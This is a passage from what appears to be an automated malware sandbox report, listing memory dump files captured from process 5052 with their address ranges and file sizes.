                                                                                                  10.8MB

                                                                                                • memory/5052-15-0x0000016EF8C00000-0x0000016EF8C50000-memory.dmp

                                                                                                  Filesize

                                                                                                  320KB

                                                                                                • memory/5052-0-0x00007FF811983000-0x00007FF811985000-memory.dmp

                                                                                                  Filesize

                                                                                                  8KB

                                                                                                • memory/5052-14-0x0000016EF8B60000-0x0000016EF8B68000-memory.dmp

                                                                                                  Filesize

                                                                                                  32KB

                                                                                                • memory/5052-13-0x0000016EF8BB0000-0x0000016EF8BF6000-memory.dmp

                                                                                                  Filesize

                                                                                                  280KB

                                                                                                • memory/5052-12-0x00007FF811980000-0x00007FF812442000-memory.dmp

                                                                                                  Filesize

                                                                                                  10.8MB

                                                                                                • memory/5052-11-0x00007FF811980000-0x00007FF812442000-memory.dmp

                                                                                                  Filesize

                                                                                                  10.8MB

                                                                                                • memory/5052-10-0x00007FF811980000-0x00007FF812442000-memory.dmp

                                                                                                  Filesize

                                                                                                  10.8MB

                                                                                                • memory/5052-9-0x0000016EF8AF0000-0x0000016EF8B12000-memory.dmp

                                                                                                  Filesize

                                                                                                  136KB